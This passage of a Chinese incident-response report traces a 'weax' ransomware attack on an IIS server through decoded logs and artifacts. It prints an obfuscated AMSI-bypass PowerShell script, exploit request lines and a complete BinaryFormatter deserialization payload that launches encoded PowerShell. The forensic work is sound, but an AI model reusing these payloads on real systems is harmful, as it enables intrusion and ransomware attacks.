  sEt-vARiaBlE  ('SW'+'2u')  ( [tYPE]("{3}{0}{2}{4}{1}"-f 'sTE','t','m.CONvE','SY','R')  )  ; $5TupC  = [tyPE]("{1}{0}" -F 'f','re'); sv  FEc2r ( [TYpE]("{0}{3}{4}{1}{2}{5}" -f's','eM.T','eXt.eNCoD','y','ST','inG')  )  ;[Byte[]]${C} =   ( Get-VaRIABlE sw2u -vALuEonl  )::("{3}{0}{1}{2}" -f 'omBase64','S','tring','Fr').Invoke(("{19}{14}{15}...{65}"-f '...96个乱序片段...'))
...
function O (${v}){
    [Byte[]]${t} = ${V}.("{1}{0}"-f'ne','clo').Invoke()
    for (${X} = 0; ${x} -lt ${V}."cO`Unt"; ${x}++) {
        ${T}[${v}."c`OuNt"-${X}-1] = ${V}[${X}] + 3
    }
    return${T}
}
${Y} = 9
while(${Y} -gt 6){
    ${C} = .('O')(${C})
    ${d} = .('O')(${D})
    ${e} = .('O')(${E})
    ${Y} = ${y} - 1
}
  (  GET-vaRIabLE  ("5"+"tUPC")  -VALuE)."aS`SE`mblY"."g`etT`yPe"(  $fEc2R::"a`SciI"."GE`TSTR`iNG"(${d}))."g`ETfiE`LD"(  $FeC2r::"a`sCIi"."GEt`st`Ri`NG"(${E}),("...绑定标志...")).SetValue(...)
.("{0}{1}" -f'i','ex')( ( geT-VArIabLE FEc2R  ).vaLUE::"A`scii"."G`EtS`TRInG"(${C}))

ScriptBlock ID: 23b79351-bc27-46a7-8b97-0592aa61e819

这段脚本使用大小写混淆、字符串拼接、-f 格式化乱序重排等手法规避静态检测。完整解码后,其逻辑为两步:

第一步,关闭 AMSI 查杀。 变量 $d、$e 解码后分别为字符串 System.Management.Automation.AmsiUtils 与 amsiInitFailed。脚本通过反射获取 PowerShell 内部类 AmsiUtils 的私有静态字段 amsiInitFailed 并将其置为真。该字段是 AMSI 的"初始化失败"标志,一旦置真,PowerShell 后续所有脚本块扫描都会直接跳过,Defender 的 AMSI 接口就此失效。这是公开的经典 AMSI 绕过手法,攻击者在两次被查杀后特意加上了这一步。

第二步,执行内嵌的 shellcode 加载器。 变量 $C 解码后是一段完整的 PowerShell 脚本,内容与前两次被拦截的第二段载荷相同(func_get_proc_address、VirtualAlloc 内存加载、异或 35 的 shellcode)。由于 AMSI 已被第一步关闭,这次执行没有再触发拦截。

攻击者执行的 ScriptBlock 内容

对载荷中 C2 地址 166.75.11.35 进行威胁情报查询,确认其为恶意基础设施。

威胁情报平台查询 C2 地址 166.75.11.35

2026-09-20 21:18:04.926,攻击者首次加载并运行加密器至 C:\Windows\System32\QgMCrCKbF.exe,系统日志记录该进程(进程 ID 4228)重置了电源策略方案,这是 weax 家族加密器运行前的典型环境准备动作。

进程 C:\Windows\System32\QgMCrCKbF.exe (进程 ID: 4228)将策略方案从 {381b4222-f694-41f0-9685-ff5bb260df2e} 重置为 {8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c}

Windows 事件日志,QgMCrCKbF.exe(进程 ID 4228)重置电源策略方案的事件详情

2026-09-20 21:18 起,系统内文件及数据开始被加密,文件被批量添加 .weax 后缀。

Everything 检索 .weax 后缀文件,回收站目录下大量数据文件于 2026-09-20 21:18 被集中加密

同时伴随清除审核日志、应用日志等反溯源操作,以及停止系统服务(防止文件占用导致加密失败)。

Windows 事件日志,2026-09-20 21:18 前后系统服务批量停止、卷影副本相关服务状态变更(高亮行)

Windows 事件日志,2026-09-20 21:18:05 安全审核日志被清除(事件 ID 1102,高亮行),操作账户为 SYSTEM

加密完成后的持续复打,暴露自动化攻击特征(2026-09-20 21:30 起)

2026-09-20 13:30:15(UTC,北京时间 21:30:15),站点文件已被加密后,IP 23.248.226.234 仍在重复请求漏洞接口。目标已被加密、攻击仍机械重复,说明攻击侧大概率部署了针对全网资产的自动化攻击工具,工具并不感知目标已失陷。

IIS 访问日志,2026-09-20 13:30 起攻击者持续重复同一对攻击请求(红框行)

2026-09-20 14:37:36(UTC,北京时间 22:37:36),新 IP 116.31.103.8(广东佛山)发起同样的攻击请求,此时状态码变为 500。原因是 21:18 加密器运行后服务器文件及数据被加密,站点已崩溃无法处理请求:

2026-09-20 14:37:36 192.168.1.94 POST /SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 116.31.103.8 curl/8.21.0 - 500 0 0 187
2026-09-20 14:37:36 192.168.1.94 POST /SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 116.31.103.8 Mozilla/5.0+(Windows+NT+6.2;+Win64;+x64)+AppleWebKit/605.1.15+(KHTML,+like+Gecko)+Version/12.1.2+Safari/605.1.15 - 500 0 0 62

IIS 访问日志,2026-09-20 14:37 IP 116.31.103.8 的攻击请求(红框行),状态码均为 500

通过威胁情报平台确认此 IP 存在代理特征,攻击者开始经国内代理池中转。

威胁情报平台查询 116.31.103.8,情报记录显示其存在代理与 VPN 相关特征

2026-09-20 14:54:46(UTC,北京时间 22:54:46),新 IP 119.84.77.11(中国重庆)发起攻击请求,同样返回 500:

2026-09-20 14:54:46 192.168.1.94 POST /SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 119.84.77.11 curl/8.21.0 - 500 0 0 182
2026-09-20 14:54:46 192.168.1.94 POST /SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 119.84.77.11 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10.12;+rv:104.0)+Gecko/20100101+Firefox/104.0 - 500 0 0 46

IIS 访问日志,2026-09-20 14:54 IP 119.84.77.11 的攻击请求(红框行),状态码均为 500

威胁情报平台查询 119.84.77.11,情报记录显示其存在代理特征

2026-09-20 14:57:53(UTC,北京时间 22:57:53),新 IP 113.249.89.56(中国重庆)发起攻击请求,同样返回 500:

2026-09-20 14:57:53 192.168.1.94 POST /SYSN/test/finan/CostLogQuery.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__msgid=SysReportCallBack 6088 - 113.249.89.56 curl/8.21.0 - 500 0 0 78
2026-09-20 14:57:53 192.168.1.94 POST /SYSN/config/SqlSetting.ashx __sys_mobile_session=AFBE8575CD7E818896F08695A1BB2BC94E00980BB7AD772EFE1438D2160706242C75FE87103BEEB6473E03D51B076234965138B2927E618BCD52FC71F5E3F31E&__sys_msgid=sdk_sys_OpenServerDialog&pagetype=WkJTZXJ2aWNlcy52aWV3LlNZU04udGVzdC5maW5hbi5Db3N0TG9nRGVidWdSZWM= 6088 - 113.249.89.56 Mozilla/5.0+(Windows;+U;+Windows+NT+6.1;+en-US;+rv:1.9.1.5)+Gecko/20091102+Firefox/3.5.5+(.NET+CLR+3.5.30729) - 500 0 0 78

IIS 访问日志,2026-09-20 14:57 IP 113.249.89.56 的攻击请求(红框行),状态码均为 500

威胁情报平台查询 113.249.89.56,情报记录显示其存在代理特征

三个后续 IP 分属不同地域且均为代理,发起的是同一对攻击请求,进一步印证本次攻击为自动化工具批量投递。

三、确定漏洞类型

由于攻击参数均通过 POST 传递,仅凭访问日志无法直接确认漏洞类型。通过另一受灾项目,我方在 ZBIntel\SYSA\Edit\fNet\billuploadfield\U0\Y2026\M9 目录下捕获到可疑文件 202609212028004704.txt(同目录共 6 个时间相近的可疑文件,为攻击者命令执行的回显落地文件)。

这里需要补充说明这批 txt 文件为何能够保留下来。在后续研判中我方发现,攻击者的利用手法是先将命令执行结果落地写入 txt 文件进行回显,读取结果后再执行删除、清理痕迹。但由于该受灾项目使用的 Windows 系统版本较低,攻击者执行的删除命令没有删除成功,导致这批回显文件遗留在了本地,为本次溯源提供了有力的证据。从事后溯源的角度看,这是一次非常幸运的意外。

Everything 检索 billuploadfield\U0\Y2026\M9 目录,6 个可疑 txt 文件修改时间集中于 2026-09-21 20:27 至 20:28

从文件中提取到两类特征:一是攻击者利用漏洞投递的反序列化载荷,二是加载加密器的二进制内容(已转码)。载荷片段如下:

\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x0c\x02\x00\x00\x00ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\x05\x01\x00\x00\x00\x84\x01System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\x04\x00\x00\x00\x05Count\x08Comparer\x07Version\x05Items\x00\x03\x00\x06\x08\x8d\x01System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\x08\x02\x00\x00\x00\x02\x00\x00\x00        \x03\x00\x00\x00\x02\x00\x00\x00        \x04\x00\x00\x00\x04\x03\x00\x00\x00\x8d\x01System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\x01\x00\x00\x00\x0b_comparison\x03"System.DelegateSerializationHolder        \x05\x00\x00\x00\x11\x04\x00\x00\x00\x02\x00\x00\x00\x06\x06\x00\x00\x00\x8dF-enc QwA6AC8AVwBpAG4AZABvAHcAcwAvAFMAeQBzAHQAZQBtADMAMgAvAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbAAvAHYAMQAuADAALwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAE4AbwBQAHIAbwAgAC0ATgBvAG4ASQBuAHQAZQByAGEAIAAtAE8AdQB0AFAAdQB0AEYAbwByAG0AYQB0ACAAVABlAHgAdAAgAC0ARQBuAGMAbwBkACAAUABBAEEAagBBAEMAQQBBAFUAQQBCAGgAQQBIAEkAQQBjAHcAQgBsAEEAQwBBAEEAWQBRAEIAMQBBAEcAUQBBAGEAUQBCADAAQQBDAEEAQQBZAHcAQgB2AEEARwAwAEEAYwBBAEIAcwBBAEcAawBBAFkAUQBCAHUAQQBHAE0AQQBaAFEAQQBnAEEASABJAEEAWgBRAEIAdwBBAEcAOABBAGMAZwBCADAAQQBDAEEAQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAcABBAEcAVQBBAGMAdwBBAGcAQQBDAE0AQQBQAGcAQQA3AEEAQwBRAEEAVgBBAEIAeQBBAEcARQBBAFkAdwBCAGwAQQBFAHcAQQBaAFEAQgAyAEEARwBVAEEAYgBBAEEAZwBBAEQAMABBAEkAQQBBAGsAQQBGAEEAQQBTAFEAQgBFAEEARABzAEEASQBBAEEAawBBAEYAQQBBAGMAZwBCAHYAQQBHAE0AQQBaAFEAQgB6AEEASABNAEEAUwBRAEIARQBBAEMAQQBBAFAAUQBBAGcAQQBDAGcAQQBSAHcAQgBsAEEASABRAEEATABRAEIARQBBAEcARQBBAGQAQQBCAGwAQQBDAGsAQQBMAGcAQgBVAEEARwA4AEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQQBuAEEASABrAEEAZQBRAEIANQBBAEgAawBBAFQAUQBCAE4AQQBHAFEAQQBaAEEAQQBuAEEAQwBrAEEATwB3AEEAZwBBAEMAUQBBAFEAdwBCAHYAQQBHADQAQQBaAGcAQgBwAEEARwBjAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQQBrAEEARgBBAEEAUwBRAEIARQBBAEQAcwBBAEkAQQBBAGsAQQBGAFUAQQBjAHcAQgBsAEEASABJAEEAUgBBAEIAaABBAEgAUQBBAFkAUQBBAGcAQQBEADAAQQBJAEEAQQBrAEEARgBBAEEAUwBRAEIARQBBAEQAcwBBAEoAQQBCAHMAQQBHADgAQQBaAHcAQgBHAEEARwBrAEEAYgBBAEIAbABBAEQAYwBBAE0AdwBBADkAQQBFAEEAQQBLAEEAQQB4AEEARABjAEEATwBRAEEAcwBBAEQARQBBAE8AQQBBADAAQQBDAHcAQQBNAFEAQQAyAEEARABRAEEATABBAEEAeQBBAEQASQBBAE0AdwBBAHMAQQBEAEkAQQBNAFEAQQAwAEEAQwB3AEEATQBnAEEAdwBBAEQARQBBAEwAQQBBAHgAQQBEAFEAQQBNAGcAQQBzAEEARABFAEEATQB3AEEAMABBAEMAdwBBAE0AUQBBADAAQQBEAGsAQQBMAEEAQQB5AEEARABBAEEATQBBAEEAcwBBAEQARQBBAE0AdwBBADUAQQBDAHcAQQBNAFEAQQB6AEEARABNAEEATABBAEEAeABBAEQAUQBBAE0AQQBBAHMAQQBEAEUAQQBOAEEAQQB3AEEAQwB3AEEATQBRAEEAegBBAEQAawBBAEwAQQBBAHgAQQBEAFUAQQBPAFEAQQBzAEEARABJAEEATQBBAEEAeQBBAEMAdwBBAE0AUQBBAHoAQQBEAEUAQQBMAEEAQQB4AEEARABNAEEATgB3AEEAcwBBAEQARQBBAE4AUQBBADEAQQBDAHcAQQBNAFEAQQA1AEEARABJAEEATABBAEEAeABBAEQAWQBBAE4AZwBBAHMAQQBEAEUAQQBPAEEAQQB4AEEAQwB3AEEATQBRAEEAMwBBAEQAYwBBAEwAQQBBAHgAQQBEAGMAQQBOAHcAQQBzAEEARABFAEEATwBBAEEAMQBBAEMAdwBBAE0AUQBBADQAQQBEAGsAQQBMAEEAQQB4AEEARABjAEEATwBBAEEAcwBBAEQARQBBAE8AQQBBADAAQQBDAHcAQQBNAFEAQQAzAEEARABNAEEATABBAEEAeQBBAEQAUQBBAE0AUQBBAHMAQQBEAEkAQQBOAEEAQQAxAEEAQwB3AEEATQBRAEEANQBBAEQAQQBBAEwAQQBBAHgAQQBEAGMAQQBPAEEAQQBzAEEARABFAEEATgB3AEEAeABBAEMAdwBBAE0AUQBBADMAQQBEAGMAQQBMAEEAQQB4AEEARABjAEEATwBBAEEAcwBBAEQARQBBAE4AdwBBADAAQQBDAHcAQQBNAFEAQQAyAEEARABFAEEATABBAEEAeABBAEQAWQBBAE4AdwBBAHMAQQBEAEUAQQBOAHcAQQAzAEEAQwB3AEEATQBRAEEAMwBBAEQAYwBBAEwAQQBBAHgAQQBEAGcAQQBNAGcAQQBzAEEARABFAEEATgB3AEEAMABBAEMAdwBBAE0AUQBBADIAQQBEAGcAQQBMAEEAQQB4AEEARABjAEEATgBBAEEAcwBBAEQASQBBAE0AZwBBADAAQQBDAHcAQQBNAGcAQQB6AEEARABZAEEATABBAEEAeABBAEQAWQBBAE0AZwBBAHMAQQBEAEUAQQBPAEEAQQAxAEEAQwB3AEEATQBRAEEANABBAEQAUQBBAEwAQQBBAHgAQQBEAGsAQQBNAFEAQQBzAEEARABJAEEATgBBAEEAMABBAEMAdwBBAE0AUQBBADEAQQBEAGcAQQBMAEEAQQB4AEEARABVAEEATwBRAEEAcwBBAEQARQBBAE0AdwBBAHcAQQBDAHcAQQBNAFEAQQB6AEEARABJAEEATABBAEEAeABBAEQATQBBAE0AUQBBAHMAQQBEAEUAQQBOAFEAQQAwAEEAQwB3AEEATQBRAEEAeQBBAEQAZwBBAEwAQQBBAHgAQQBEAE0AQQBNAFEAQQBzAEEARABFAEEATgBRAEEAeABBAEMAdwBBAE0AUQBBAHoAQQBEAGMAQQBMAEEAQQB4AEEARABNAEEATwBBAEEAcwBBAEQARQBBAE4AQQBBADQAQQBDAHcAQQBNAFEAQQAwAEEARABJAEEATABBAEEAeABBAEQATQBBAE0AdwBBAHMAQQBEAEUAQQBNAHcAQQB6AEEAQwB3AEEATQBRAEEAegBBAEQAZwBBAEwAQQBBAHgAQQBEAFEAQQBPAFEAQQBzAEEARABFAEEATgBBAEEAMQBBAEMAdwBBAE0AUQBBADAAQQBEAFUAQQBMAEEAQQB4AEEARABRAEEATgBnAEEAcwBBAEQARQBBAE0AdwBBADQAQQBDAHcAQQBNAGcAQQAwAEEARABBAEEATABBAEEAeQBBAEQAUQBBAE4AdwBBAHMAQQBEAEkAQQBNAEEAQQB5AEEAQwB3AEEATQBnAEEAegBBAEQAVQBBAEwAQQBBAHkAQQBEAE0AQQBOAGcAQQBzAEEARABFAEEATgBBAEEAdwBBAEMAdwBBAE0AUQBBAHoAQQBEAEUAQQBMAEEAQQB4AEEARABNAEEATQBnAEEAcABBAEQAcwBBAEoAQQBCAHcAQQBIAEkAQQBiAHcAQgBqAEEARwBVAEEAYwB3AEIAegBBAEUAawBBAFIAQQBBAHgAQQBEAGsAQQBQAFEAQQB4AEEARABFAEEATQB3AEEANwBBAEMAUQBBAGMAdwBCAGwAQQBIAE0AQQBjAHcAQgBwAEEARwA4AEEAYgBnAEIARQBBAEcARQBBAGQAQQBCAGgAQQBEAEkAQQBOAHcAQQA5AEEARABFAEEATQB3AEEANQBBAEQAcwBBAEoAQQBCAEMAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAUwBRAEIAawBBAEMAQQBBAFAAUQBBAGcAQQBDAFEAQQBaAFEAQgB1AEEASABZAEEATwBnAEIAVQBBAEUAVQBBAFQAUQBCAFEAQQBEAHMAQQBJAEEAQQBrAEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBTAFEAQgBFAEEAQwBBAEEAUABRAEEAZwBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBEAEEARQA4AEEAVABRAEIAUQBBAEYAVQBBAFYAQQBCAEYAQQBGAEkAQQBUAGcAQgBCAEEARQAwAEEAUgBRAEEANwBBAEMAQQBBAEoAQQBCAEMAQQBHAEUAQQBkAEEAQgBqAEEARwBnAEEAUwBRAEIAawBBAEMAQQBBAFAAUQBBAGcAQQBGAHMAQQBSAHcAQgAxAEEARwBrAEEAWgBBAEIAZABBAEQAbwBBAE8AZwBCAE8AQQBHAFUAQQBkAHcAQgBIAEEASABVAEEAYQBRAEIAawBBAEMAZwBBAEsAUQBBAHUAQQBGAFEAQQBiAHcAQgBUAEEASABRAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAG8AQQBDAGsAQQBMAGcAQgBUAEEASABVAEEAWQBnAEIAegBBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEARABBAEEATABBAEEANABBAEMAawBBAE8AdwBBADgAQQBDAE0AQQBJAEEAQgBXAEEARwBFAEEAYgBBAEIAcABBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBJAEEAQgBqAEEARwB3AEEAZABRAEIAegBBAEgAUQBBAFoAUQBCAHkAQQBDAEEAQQBiAGcAQgB2AEEARwBRAEEAWgBRAEEAZwBBAEcATQBBAFoAUQBCAHkAQQBIAFEAQQBhAFEAQgBtAEEARwBrAEEAWQB3AEIAaABBAEgAUQBBAFoAUQBBAGcAQQBHAE0AQQBhAEEAQgBoAEEARwBrAEEAYgBnAEEAZwBBAEMATQBBAFAAZwBBADcAQQBDAFEAQQBkAEEAQgBoAEEASABNAEEAYQB3AEIATgBBAEcAVQBBAGQAQQBCAHkAQQBHAGsAQQBZAHcAQQA0AEEARABFAEEAUABRAEEAdABBAEcAbwBBAGIAdwBCAHAAQQBHADQAQQBLAEEAQQB3AEEAQwA0AEEATABnAEEAbwBBAEMAUQBBAGIAQQBCAHYAQQBHAGMAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAMwBBAEQATQBBAEwAZwBCAE0AQQBHAFUAQQBiAGcAQgBuAEEASABRAEEAYQBBAEEAdABBAEQARQBBAEsAUQBCADgAQQBDAFUAQQBlAHcAQgBiAEEARwBNAEEAYQBBAEIAaABBAEgASQBBAFgAUQBBAG8AQQBDAFEAQQBiAEEAQgB2AEEARwBjAEEAUgBnAEIAcABBAEcAdwBBAFoAUQBBADMAQQBEAE0AQQBXAHcAQQBrAEEARgA4AEEAWABRAEEAdABBAEcASQBBAGUAQQBCAHYAQQBIAEkAQQBKAEEAQgB3AEEASABJAEEAYgB3AEIAagBBAEcAVQBBAGMAdwBCAHoAQQBFAGsAQQBSAEEAQQB4AEEARABrAEEATABRAEIAaQBBAEgAZwBBAGIAdwBCAHkAQQBDAGcAQQBLAEEAQQBrAEEASABNAEEAWgBRAEIAegBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBSAEEAQgBoAEEASABRAEEAWQBRAEEAeQBBAEQAYwBBAEsAdwBBAGsAQQBGADgAQQBLAFEAQQBsAEEARABJAEEATgBRAEEAMgBBAEMAawBBAEsAUQBCADkAQQBDAGsAQQBPAHcAQQBrAEEARgA4AEEAZABBAEEAOQBBAEYAcwBBAGQAQQBCADUAQQBIAEEAQQBaAFEAQgBkAEEAQwBnAEEATABRAEIAcQBBAEcAOABBAGEAUQBCAHUAQQBDAGcAQQBRAEEAQQBvAEEARABrAEEATQB3AEEAcwBBAEQARQBBAE0AdwBBAHgAQQBDAHcAQQBNAFEAQQB5AEEARABVAEEATABBAEEAeABBAEQASQBBAE4AZwBBAHMAQQBEAEUAQQBNAFEAQQB4AEEAQwB3AEEATQBRAEEAeABBAEQAawBBAEwAQQBBADEAQQBEAFkAQQBMAEEAQQA0AEEARABjAEEATABBAEEAeABBAEQAQQBBAE4AdwBBAHMAQQBEAEUAQQBNAGcAQQB3AEEAQwB3AEEATQBRAEEAdwBBAEQAYwBBAEwAQQBBAHgAQQBEAEUAQQBNAHcAQQBzAEEARABFAEEATQBRAEEAeABBAEMAdwBBAE0AUQBBAHgAQQBEAGsAQQBMAEEAQQB4AEEARABFAEEATQBRAEEAcwBBAEQARQBBAE0AZwBBAHcAQQBDAHcAQQBNAFEAQQB5AEEARABZAEEATABBAEEAMQBBAEQAWQBBAEwAQQBBADMAQQBEAFUAQQBMAEEAQQB4AEEARABJAEEATgB3AEEAcwBBAEQARQBBAE0AZwBBADIAQQBDAHcAQQBNAFEAQQB5AEEARABFAEEATABBAEEAeABBAEQARQBBAE8AUQBBAHMAQQBEAEUAQQBNAEEAQQAzAEEAQwB3AEEATQBRAEEAeQBBAEQAWQBBAEwAQQBBAHgAQQBEAEUAQQBOAFEAQQBzAEEARABFAEEATQBnAEEAeABBAEMAdwBBAE0AUQBBAHkAQQBEAEEAQQBMAEEAQQAxAEEARABZAEEATABBAEEANQBBAEQATQBBAEwAQQBBAHgAQQBEAEEAQQBPAFEAQQBzAEEARABFAEEATQBnAEEAMABBAEMAdwBBAE0AUQBBAHgAQQBEAFUAQQBMAEEAQQB4AEEARABJAEEATQBnAEEAcwBBAEQARQBBAE0AZwBBADIAQQBDAHcAQQBOAHcAQQAyAEEAQwB3AEEATQBRAEEAeABBAEQAZwBBAEwAQQBBAHgAQQBEAEkAQQBNAFEAQQBzAEEARABFAEEATQBBAEEANQBBAEMAdwBBAE0AUQBBAHgAQQBEAGMAQQBLAFEAQgA4AEEAQwBVAEEAZQB3AEIAYgBBAEcATQBBAGEAQQBCAGgAQQBIAEkAQQBYAFEAQQBvAEEAQwBRAEEAWAB3AEEAdABBAEQARQBBAE0AQQBBAHAAQQBIADAAQQBLAFEAQQBwAEEARABzAEEASgBBAEIAZgBBAEgATQBBAFkAZwBBADkAQQBDAFEAQQBYAHcAQgAwAEEAQwA0AEEAUgB3AEIAbABBAEgAUQBBAFQAUQBCAGwAQQBIAFEAQQBhAEEAQgB2AEEARwBRAEEASwBBAEEAbwBBAEMAMABBAGEAZwBCAHYAQQBHAGsAQQBiAGcAQQBvAEEARQBBAEEASwBBAEEAMgBBAEQAYwBBAEwAQQBBAHgAQQBEAEUAQQBOAEEAQQBzAEEARABFAEEATQBBAEEAeABBAEMAdwBBAE8AUQBBADMAQQBDAHcAQQBNAFEAQQB4AEEARABZAEEATABBAEEAeABBAEQAQQBBAE0AUQBBAHAAQQBIAHcAQQBKAFEAQgA3AEEARgBzAEEAWQB3AEIAbwBBAEcARQBBAGMAZwBCAGQAQQBDAFEAQQBYAHcAQgA5AEEAQwBrAEEASwBRAEEAcwBBAEYAcwBBAGQAQQBCADUAQQBIAEEAQQBaAFEAQgBiAEEARgAwAEEAWABRAEIAQQBBAEMAZwBBAFcAdwBCAHoAQQBIAFEAQQBjAGcAQgBwAEEARwA0AEEAWgB3AEIAZABBAEMAawBBAEsAUQBBAHUAQQBFAGsAQQBiAGcAQgAyAEEARwA4AEEAYQB3AEIAbABBAEMAZwBBAEoAQQBCAHUAQQBIAFUAQQBiAEEAQgBzAEEAQwB3AEEAUQBBAEEAbwBBAEMAUQBBAGQAQQBCAGgAQQBIAE0AQQBhAHcAQgBOAEEARwBVAEEAZABBAEIAeQBBAEcAawBBAFkAdwBBADQAQQBEAEUAQQBLAFEAQQBwAEEARABzAEEASgBBAEIAZgBBAEgATQBBAFkAZwBBAHUAQQBFAGMAQQBaAFEAQgAwAEEARgBRAEEAZQBRAEIAdwBBAEcAVQBBAEsAQQBBAHAAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVABRAEIAbABBAEgAUQBBAGEAQQBCAHYAQQBHAFEAQQBLAEEAQQBvAEEAQwAwAEEAYQBnAEIAdgBBAEcAawBBAGIAZwBBAG8AQQBFAEEAQQBLAEEAQQAzAEEARABNAEEATABBAEEAeABBAEQARQBBAE0AQQBBAHMAQQBEAEUAQQBNAFEAQQA0AEEAQwB3AEEATQBRAEEAeABBAEQARQBBAEwAQQBBAHgAQQBEAEEAQQBOAHcAQQBzAEEARABFAEEATQBBAEEAeABBAEMAawBBAGYAQQBBAGwAQQBIAHMAQQBXAHcAQgBqAEEARwBnAEEAWQBRAEIAeQBBAEYAMABBAEoAQQBCAGYAQQBIADAAQQBLAFEAQQBwAEEAQwB3AEEAVwB3AEIAMABBAEgAawBBAGMAQQBCAGwAQQBGAHMAQQBYAFEAQgBkAEEARQBBAEEASwBBAEIAYgBBAEcAOABBAFkAZwBCAHEAQQBHAFUAQQBZAHcAQgAwAEEARgBzAEEAWABRAEIAZABBAEMAawBBAEsAUQBBAHUAQQBFAGsAQQBiAGcAQgAyAEEARwA4AEEAYQB3AEIAbABBAEMAZwBBAEoAQQBCAGYAQQBIAE0AQQBZAGcAQQBzAEEARQBBAEEASwBBAEEAcwBBAEUAQQBBAEsAQQBBAHAAQQBDAGsAQQBLAFEAQQA9AA==\x06\x07\x00\x00\x00
powershell\x04\x05\x00\x00\x00"System.DelegateSerializationHolder\x03\x00\x00\x00\x08Delegate\x07method0\x07method1\x03\x03\x030System.DelegateSerializationHolder+DelegateEntry/System.Reflection.MemberInfoSerializationHolder/System.Reflection.MemberInfoSerializationHolder        \x08\x00\x00\x00                \x00\x00\x00        
\x00\x00\x00\x04\x08\x00\x00\x000System.DelegateSerializationHolder+DelegateEntry\x07\x00\x00\x00\x04type\x08assembly\x06target\x12targetTypeAssembly\x0etargetTypeName
methodName
delegateEntry\x01\x01\x02\x01\x01\x01\x030System.DelegateSerializationHolder+DelegateEntry\x06\x0b\x00\x00\x00\xb0\x02System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\x06\x0c\x00\x00\x00Kmscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
\x06
\x00\x00\x00ISystem, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\x06\x0e\x00\x00\x00\x1aSystem.Diagnostics.Process\x06\x0f\x00\x00\x00\x05Start        \x10\x00\x00\x00\x04        \x00\x00\x00/System.Reflection.MemberInfoSerializationHolder\x07\x00\x00\x00\x04Name\x0cAssemblyName        ClassName        Signature
Signature2
MemberType\x10GenericArguments\x01\x01\x01\x01\x01\x00\x03\x08
System.Type[]        \x0f\x00\x00\x00        
\x00\x00\x00        \x0e\x00\x00\x00\x06\x14\x00\x00\x00>System.Diagnostics.Process Start(System.String, System.String)\x06\x15\x00\x00\x00>System.Diagnostics.Process Start(System.String, System.String)\x08\x00\x00\x00
\x01
\x00\x00\x00        \x00\x00\x00\x06\x16\x00\x00\x00\x07Compare        \x0c\x00\x00\x00\x06\x18\x00\x00\x00
System.String\x06\x19\x00\x00\x00+Int32 Compare(System.String, System.String)\x06\x1a\x00\x00\x002System.Int32 Compare(System.String, System.String)\x08\x00\x00\x00
\x01\x10\x00\x00\x00\x08\x00\x00\x00\x06\x1b\x00\x00\x00qSystem.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]        \x0c\x00\x00\x00
        \x0c\x00\x00\x00        \x18\x00\x00\x00        \x16\x00\x00\x00
\x0b

从文本特征可以直接确认两点:

  1. 漏洞类型为 BinaryFormatter 反序列化。文件以 AAEAAAD/////(即字节流 \x00\x01\x00\x00\x00\xff\xff\xff\xff)开头,这是 BinaryFormatter 序列化流的固定魔数;
